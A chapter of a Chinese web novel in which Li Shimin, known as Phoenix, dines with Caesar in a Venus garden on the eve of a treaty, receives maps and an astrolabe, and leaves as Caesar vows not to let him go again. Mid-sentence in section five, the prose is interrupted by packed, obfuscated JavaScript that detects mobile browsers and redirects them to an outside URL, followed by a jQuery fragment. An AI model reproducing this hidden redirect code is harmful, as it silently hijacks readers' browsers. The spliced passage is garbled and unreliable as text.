第十章、维纳斯花园的对话
一、黄昏的邀请
签约仪式前夜，卢格杜努姆城外，埃杜维部落的临时驻地。
这是一座石砌的塔楼，位于可以俯瞰城市的小丘上，由布罗杜斯长老安排。虽然简陋，但易守难攻，驻扎着数十名忠诚的高卢战士。
李世民正在顶层的房间里，最后一次审阅协议副本。塞恩在一旁擦拭她的短剑，目光不时警觉地扫向窗外——那里可以望见总督府方向星星点点的灯火。
“他明天会在仪式上耍什么花样？”塞恩问，声音压得很低。
“他不会公开撕毁协议，”李世民头也不抬，“但一定会设法在仪式流程上，将我置于‘受抚者’而非‘缔约方’的位置。这是最后一场心理战。”
就在这时，楼下传来马蹄声和短暂的喧哗。片刻后，楼梯响起急促的脚步声。
卢科斯——那位年轻的阿维尔尼猎手，现在是驻地的守卫队长——推门进来，脸色有些古怪。
“菲尼克斯，总督的人来了。不是士兵，是那个亲卫队长雷克斯，只带了一个车夫。他说……凯撒邀请您去‘赏花’。”
房间里的空气瞬间凝固了。
塞恩的剑“锵”一声半出鞘：“陷阱。他想在仪式前夜扣押你。”
李世民抬手制止了她。他走到窗边，向下望去。庭院里，雷克斯果然只身站在一辆朴素的马车旁，没有披甲，甚至没带武器，正平静地等待着。
“如果是扣押，来的会是整整一个百人队，不会是他一个人。”李世民沉思片刻，“但如果是私人邀请……在仪式前夜，就更值得玩味了。”
“你不能去。”塞恩挡在他面前，“太危险了。可能埋伏就在花园里。”
“如果凯撒想用埋伏对付我，过去三十天他有无数更好的机会。”李世民转身，拿起挂在椅背上的外套——那件墨黑色的鞣皮猎装，而非明日要穿的礼服。“这是一场心理战的前奏。他想在公开场合之外，最后一次试探我，或者……说服我。”
他看向塞恩和卢科斯：“如果我黎明前没有回来，你们就按我们商定的应急计划行动，立刻护送长老们离开卢格杜努姆，协议作废。”
“菲尼克斯——”塞恩还想说什么。
“我必须去。”李世民打断她，眼神深邃，“如果连他私下的花园都不敢进，明天我又有什么底气站在观礼台上，面对成千上万的罗马士兵和高卢民众？”
他走下楼梯，来到庭院。
雷克斯微微躬身：“菲尼克斯阁下。总督大人在城外的维纳斯花园等候。他说，这纯粹是私人邀请，与明日的公事无关。”
“我需要准备什么？”李世民问。
“什么都不需要。”雷克斯说，“马车已经备好。总督大人说，您只需要带上……坦诚的心情。”
二、维纳斯花园
马车出城向东，行驶了约莫半个时辰。
天色将暗未暗，西边天空还残留着一抹紫红色的霞光，东边已见疏星。马车驶离大道，转入一条两旁栽满月桂树的小径。空气中开始弥漫着湿润的泥土气息和某种浓郁的花香。
花园坐落在山丘缓坡上，俯瞰着远处卢格杜努姆的点点灯火。它显然经过精心设计：几何形状的花圃中，玫瑰、桃金娘、风信子开得正盛，白色大理石雕像在暮色中泛着幽光，一条人工小溪蜿蜒流过，水声潺潺。
最引人注目的是花园中央那尊维纳斯雕像——不是罗马式的端庄，而是希腊式的慵懒，她斜倚在石台上，手中拈着一枝将谢未谢的玫瑰，目光低垂，仿佛在凝视水中自己的倒影。
凯撒就站在雕像旁。
他换下了白日里严肃的总督长袍，穿着一件简单的深灰色羊毛外衣，腰间松松系着皮带。没有戴桂冠，头发也有些随意地散落额前。他手里拿着一个银酒杯，正望着西天最后一缕光。
听到脚步声，他转过身。
“你来了。”凯撒说，声音平和，甚至带着一丝倦意，“比我预想的要准时。”
李世民停下脚步，两人隔着三丈距离。花园里除了他们，只有远处亭廊下两名静立的侍从，以及更远处，花园入口隐约可见的、如同雕像般沉默的卫兵轮廓。
“总督的邀请，不敢怠慢。”李世民回答，用的是标准的客套话。
凯撒笑了，那笑容在暮色中显得有些模糊：“今晚没有总督，也没有高卢代言人。只有盖乌斯，和一个即将远行的客人。”
他走向花园一侧的凉亭，那里已经摆好一张小圆桌，上面有酒壶、水果、奶酪和蜂蜜蛋糕。桌椅旁各有一盏青铜灯盏，火苗在玻璃罩中安静燃烧。
“坐。”凯撒示意，“我们有一整夜的时间——或者，至少到午夜。明天你我都还有场硬仗要打。”
李世民在凯撒对面坐下。侍从悄无声息地上前，为他斟满酒杯——是深红色的法勒努姆葡萄酒，凯撒最喜欢的品类。
“为了什么干杯？”凯撒举起杯子，“为了达成的协议？为了即将到来的别离？还是……为了这场让我们彼此都精疲力竭的博弈？”
“为了坦诚。”李世民也举起杯，却没有喝，“如你所说，今晚需要坦诚。”
凯撒眼中的笑意深了些：“好，为了坦诚。”
两人饮下第一口酒。酒很醇厚，带着橡木和浆果的香气，是珍品。
三、玫瑰与荆棘
最初的交谈从无关紧要的话题开始：花园的设计师来自亚历山大港，这些玫瑰是去年从波斯引进的品种，那座维纳斯雕像是一位希腊流亡艺术家的作品……
但很快，话题转向了核心。
“你知道吗，”凯撒放下酒杯，手指轻轻摩挲着杯沿，“这三十天，是我担任高卢总督以来最有趣的三十天。”
“有趣？”李世民重复这个词。
“对，有趣。”凯撒看向他，灰蓝色的眼睛在灯光下像两潭深水，“我征战二十年，见过无数敌人——有勇猛的，有狡猾的，有绝望反抗的，有跪地求饶的。但他们都有一个共同点：我知道他们在想什么。战士要荣誉，酋长要权力，商人要利益。简单，直接。”
他顿了顿：
“但你不一样。你要的不是高卢的王位，不是罗马的黄金，甚至不是个人的安全。你要的是一些……抽象的东西。‘公正’、‘尊严’、‘契约’。这些东西在战场上毫无价值，在政治中往往是伪装，但你却像是真的相信它们。”
李世民沉默了片刻：“你认为那是伪装？”
“起初是。”凯撒坦诚地说，“我以为你和其他叛乱者一样，用高尚的词汇包装私欲。但三十天，足够我看清一个人。你是真的在乎那些你救下的村民，在乎那些你素未谋面的高卢农民能不能留下过冬的粮食。这种在乎，不是伪装出来的。”
他忽然向前倾身，声音压低：
“这就是为什么，我始终无法完全理解你。一个有能力在沼泽里拖垮我一支军队的人，一个能在谈判桌上和我针锋相对的人，为什么会把精力浪费在那些……蝼蚁般的生命上？”
这个问题很尖锐，甚至有些无礼。但凯撒问得认真，他是真的想知道答案。
李世民没有立刻回答。他看向凉亭外，夜色已完全降临，花园里的火把次第点燃，在花丛中投下跳动的光影。
“在我的家乡，”他缓缓开口，用的是拉丁语，但语速很慢，仿佛每个词都经过深思，“有一种说法：君主是舟，百姓是水。水能载舟，亦能覆舟。”
他用的是拉丁语，但引用了汉语的典故。凯撒显然听懂了比喻，眼神闪烁了一下。
“我见过‘覆舟’的景象。”李世民继续说，声音平静，但深处有某种沉重的东西在流动，“饿死的人堆积在路旁，母亲交换孩子当食物，起义的农民用锄头冲向全副武装的军队——不是因为他们勇敢，是因为他们已经没有什么可失去了。”
他转动手中的酒杯，看着深红色的液体在杯中晃动：
“你问我为什么在乎那些蝼蚁般的生命？因为当蝼蚁足够多，他们能咬死巨人。更因为……”
他停顿了一下，似乎在寻找合适的拉丁词汇表达汉语儒家经典的意思：
“更因为我的理想国，老有所终，壮有所用，幼有所长，矜、寡、孤、独、废疾者，皆有所养……让更多的人活得下去，是上位者的责任——无论他的称号是皇帝，是国王，还是总督。”
凉亭里一片寂静。远处传来夜莺的啼鸣，清脆而孤独。
凯撒久久地看着李世民。他的表情很复杂，有惊讶，有思索，还有一种……近乎羡慕的神色。
“所以，”凯撒最终说，“你真的是个皇帝。不是自封的，不是僭越的，是真的相信这套责任的皇帝。”
他没有用疑问句。
李世民没有承认，也没有否认。他只是说：“你也有你的责任。对罗马，对共和国，对跟随你的军团。”
“是的。”凯撒靠回椅背，忽然显得有些疲惫，“但我的责任，和你的不太一样。我的责任是扩张，是征服，是让罗马的鹰旗插到更远的地方。我是征服者，而你是秩序的守护者。”
他自嘲地笑了笑：
“看，这就是我们的区别。你想让水托起舟，而我只关心舟能不能继续航行，哪怕需要抽干一部分水。”
四、最后的道路
侍从悄无声息地添了一次酒，又端上一盘新鲜的无花果。
凯撒拿起一个，却没有吃，只是在手中把玩。
“明天之后，你就要去马赛，然后上船。”他换了个话题，语气恢复了平静，“你真的相信，海的那边有你的归途？”
“我必须相信。”李世民说，“就像您相信，回到罗马能战胜政敌一样。有些路，不是因为看到了终点才走，而是因为必须走，所以才相信终点存在。”
“很哲学。”凯撒评价，“但也很危险。地中海不是高卢的沼泽，没有你能利用的地形。那里有海盗、有风暴、有敌对的城邦。而且……”
他顿了顿，目光变得锐利：
“而且，路途遥远，即使你找到那个传说中的塞里斯，也是很多年以后了。那个国家还存在吗？政局早就变了吧？你又如何证明你是那个国家的皇帝？”
这个问题直击核心。李世民沉默了。
“我不知道。”他最终诚实地说，“但我能转眼间来到这里，就一定能用同样的方法回去。不是地理上的途径。”
凯撒看了他很久，然后做了一个出人意料的举动。
他从怀中取出一个巴掌大小的、用油布仔细包裹的东西，放在桌上，推向李世民。
“打开看看。”
李世民解开油布。里面是一本极其精美的册子，羊皮纸页边缘烫金，封面用深蓝色皮革装帧，上面用希腊文写着：《地理学》，托勒密著。
“这是……”李世民翻开，里面是密密麻麻的希腊文注释和手绘地图，许多页边还有额外的笔记——是凯撒的笔迹。
“亚历山大图书馆最好版本的手抄本，我二十年前在埃及时得到的。”凯撒的声音很平淡，仿佛在说一件不值钱的小玩意，“里面有当时已知世界最详细的地图，包括一些关于东方‘赛里斯’的记载——虽然很可能充满谬误。边上的笔记是我这些年的补充和修正。”
李世民的手指拂过书页。他能感受到这份礼物的重量——不只是物质上的珍贵，更是知识上的无价。
“为什么？”他抬头问。
“因为你需要它，而我有。”凯撒说得很简单，“而且，我喜欢想象，如果有一天你真的回到了你的国度，你手里拿着我的书，看着我的笔记……那会是个有趣的故事。”
他又从桌下拿出另一个长条形的木匣，打开。里面是一架黄铜制成的仪器，结构精巧，有刻度和可旋转的圆环。
“星盘。希腊人发明的，用于航海和观测星辰。比你靠太阳和直觉找方向要可靠得多。”凯撒将星盘也推过去，“这两样东西，加上马赛那艘船，是我给你的‘旅行资助’。”
李世民看着桌上的书和星盘，又看向凯撒。这一刻，他清晰地感受到了凯撒身上那种矛盾的特质：冷酷的征服者，和慷慨的学者；精于算计的政治家，和尊重才智的智者。
“你不怕我利用这些，找到归途，然后带着我的军队回来报复罗马？”李世民问，语气半是认真半是试探。
凯撒大笑起来——那是李世民第一次听到他如此开怀的笑声。
“如果你真的能做到，”凯撒笑罢，眼中闪烁着某种近乎狂野的光，“那我期待那一天。那将是比征服高卢有趣一百倍的挑战。两个文明，隔着整个世界的对决……想想就让人热血沸腾。”
他收敛笑容，但眼中的光未熄：
“但更可能的是，我们此生不会再相见。你会消失在茫茫大海或无尽戈壁的某处，而我……我会回到罗马，继续我的游戏。直到某天，我的继承人听到一个来自东方的传说：曾经有个叫菲尼克斯的人，在高卢与凯撒打过一场漂亮的仗。”
凯撒举起酒杯：
“为了那个传说。”
李世民也举起杯。两杯相碰，声音清脆。
五、界限
酒过三巡，夜已深。
花园里的火把有些已经燃尽，侍从们安静地换上新的。维纳斯雕像在跳跃的火光中，面容显得更加朦胧忧郁。
凯撒似乎有些微醺——或者，是故意让自己显得微醺。他站起身，走到凉亭边缘，望着山下卢格杜努姆的灯火。
“有时候我会想，”他的声音很轻，像在自言自语，“如果我不是生在罗马，如果我不是尤利乌斯家族的儿子，如果我没有这些责任和野心……我会成为什么样的人？”
李世民也站起身，但没有靠近，只是站在他身后两步的位置。
“你会成为学者，或者探险家。”他说，“你的好奇心和智慧，不需要政治也能发光。”
凯撒回头看了他一眼，眼神深邃：“那你呢？如果你不是皇帝，你会是什么？”
“我应该会参军，做一个将军。”
凯撒转过身，正面看着他。两人之间的距离很近，近到能看清对方眼中跳动的火把倒影。
“你知道吗，”凯撒的声音压得更低，几乎成了耳语，“这三十天，我有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224113|197539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很多次想把你留下来。不是作为囚犯，是作为……顾问、幕僚、甚至朋友。罗马需要你这样的人，我也需要。”
他的目光落在李世民脸上，那种审视不再带有政治计算，而是纯粹的、对人的观察：
“你有一种罕见的品质：既有战略家的冷酷，又有统治者的仁慈。既能算计，又能共情。这在一个人身上几乎不可能同时存在，但你做到了。”
李世民没有后退，也没有避开目光。他能闻到凯撒身上葡萄酒和没药香料混合的气息，能感受到那种强大气场带来的压迫感——但这一次，压迫感中混杂着一种奇怪的吸引力。
“如果我留下，”李世民平静地问，“然后呢？看着你如何一点一点，用我刚谈下来的协议为诱饵，分化高卢各部，最终将它彻底消化成罗马的一个普通行省？看着那些我刚争取来的‘权利’，在你的政治需要面前被轻易牺牲？”
凯撒的嘴角勾起：“你很了解我。”
“我了解权力。”李世民说，“权力就像水流，永远会寻找阻力最小的路径扩张。你给我礼遇的前提是，我不能阻碍你权力的扩张。而我的存在本身，就是对你在高卢绝对权力的一种阻碍。”
一段漫长的沉默。夜风吹过花园，带来玫瑰的香气和远处军营的马嘶。
“可惜了！”凯撒最终说，语气里有一丝真正的惋惜，“如果命运安排我们在另一个时间、另一个地点相遇……我们或许能成为很好的朋友。或者，很值得尊敬的敌人。”
六、午夜钟声
远处传来钟声——是卢格杜努姆城内朱庇特神庙的午夜钟鸣，低沉而悠远，在夜空中回荡了十二下。
“时间到了。”凯撒说，声音恢复了平日的冷静和距离感，“马车会送你回去。明天上午的仪式，我希望看到一个精神饱满的菲尼克斯——毕竟，那将是我们最后一次公开交锋。”
李世民点点头。
他将《地理学》和星盘抱在怀中，走到花园入口时，又停下脚步，回头。
凯撒依然站在凉亭边，背对着他，身影在火光中显得孤独而挺拔。
“盖乌斯。”李世民用汉语说，这也许是他第一次也是最后一次，用这个名字的汉语称呼他。
凯撒的肩膀微微一动，但没有转身。
“保重。”李世民用拉丁语说完最后两个字，转身走进等待的马车。
马车驶离维纳斯花园，沿着来路返回。李世民透过车窗，看到花园的火把一盏接一盏熄灭，最终完全隐没在黑暗中，仿佛从未存在过。
只有怀中的书和星盘，证明这个夜晚真实发生过。
??
七、掌心的飞鸟
马车驶离维纳斯花园，车轮碾过碎石路的声响渐行渐远，最终被夜色吞没。
凯撒依旧站在凉亭边，背对着空无一人的花园。侍从们早已识趣地退到远处廊柱的阴影中，连呼吸都压得极轻。
“菲尼克斯……”凯撒低声念出这个名字，音节在唇齿间滚动，带着葡萄酒的余味和某种更深沉的苦涩。
他缓缓转身，走向凉亭中央的石桌。李世民用过的酒杯还在原处，杯沿残留着一点深红色的酒渍。凯撒拿起那只杯子，手指摩挲着杯壁上精细的浮雕——那是酒神狄俄尼索斯的狂欢游行，神祇与凡人共醉，没有边界。
“你想问我会不会扣押你……”凯撒对着空杯自语，声音轻得像夜风拂过玫瑰花瓣，“在花园里，你有三次机会问出口，但你都忍住了。你比我想的更能忍耐。”
他将杯子举到眼前，透过酒杯看向远处卢格杜努姆的灯火，那些光点扭曲、拉长，变成一片模糊的金色海洋。
“我当然想过。”凯撒的语调变得冷硬，像冬日的冰面，“就在今晚，就在刚才。只要我抬一抬手，雷克斯就会带人冲进来。三十个，不，二十个亲卫就够了……”
凯撒的目光投向黑暗中的小径，“让卫兵拦住你，用最礼貌的方式告诉你：很抱歉，但总督改变了主意，你走不了了。你会被护送到另一处更舒适的庄园，有花园，有藏书室，有你想要的一切——除了自由。”
他闭上眼睛，嘴角浮起一丝自嘲的弧度：
“然后我会每天来看你。和你下棋，听你讲东方的故事，讨论哲学与治理。我们会成为真正的朋友，而非谈判桌上的对手。我会珍惜你的才智，如同珍惜我书房里那卷托勒密的手稿——独一无二，举世难寻。”
夜风拂过，带来远处罗讷河的水汽。
凯撒睁开眼，眼神在火光中变得无比复杂：
“但我忍住了。”
他转身，双手撑在凉亭栏杆上，背脊绷得很直，像在对抗某种看不见的重量：
“因为你不是一本书，不是一件战利品，不是可以收藏在密室里的珍宝。你是……菲尼克斯。哪怕我打造最华丽的笼子，铺上最柔软的丝绸，每日亲手喂你鲜肉清水——那也是在杀死你。缓慢地，温柔地，无可挽回地杀死你。”
“这一次，我放手。让你带着我给你的书、我教你的语言、我赠你的星盘，去飞向你的天空。这是我给你的礼物，也是给我自己的——一个‘如果’的可能。如果这世上真有一个人，能以不同的方式践行统治者的道路……我想看看结局。”
但说到这里，凯撒的眼神骤然深邃，那是一种深沉到近乎疼痛的占有欲：
“但李世民，我向维纳斯发誓。”
他转向马车消失的方向，一字一句，声音平静却带着钢铁般的重量：
“这是我此生第一次，也是最后一次，主动放开我想要的人。不是因为不重要，而是因为太重要——重要到我不忍心将你变成我的藏品。”
夜风吹动他的额发，那双灰蓝色眼睛里翻涌着汹涌而克制的情感：
“所以，如果你再出现在我面前……如果命运真的荒谬到让我们再次相遇……”
凯撒停顿了很长一段时间。远处的灯火在他眼中明明灭灭。
“……那时，我将不会再放手。”他的声音很轻，却像誓言般斩钉截铁，“不是关押，不是囚禁。而是用尽一切方法，将你留在我的世界里。让你参与我的战争，分享我的胜利，见证我建造的一切——哪怕你需要戴着镣铐站在我身边。”
“因为给过一次自由，已是我的极限。”他缓缓抚过维纳斯冰凉的大理石手指，“而回到我轨道的东西……我从不允许再次离开。”
最后这句话，他说得极轻，却带着一种近乎悲伤的笃定：
“我会珍惜你，如同珍惜我自己的右手。我会给你仅次于我的权柄，倾听你所有的谏言，让你在我建造的帝国里留下印记——但你的天空，将从此与我共享同一片穹顶。你的归途，将从此与我的命运交织。”
他闭上眼，深深吸气：
“所以，不要回头，永远不要。”
“因为如果你回头……如果你再次走进我的视野……”
凯撒睁开眼，最后看了一眼无人的小径，转身向花园外走去。月光将他的影子拉得很长，孤独而决绝。
“……我将再也不会，让你离开我的掌心。”
??
??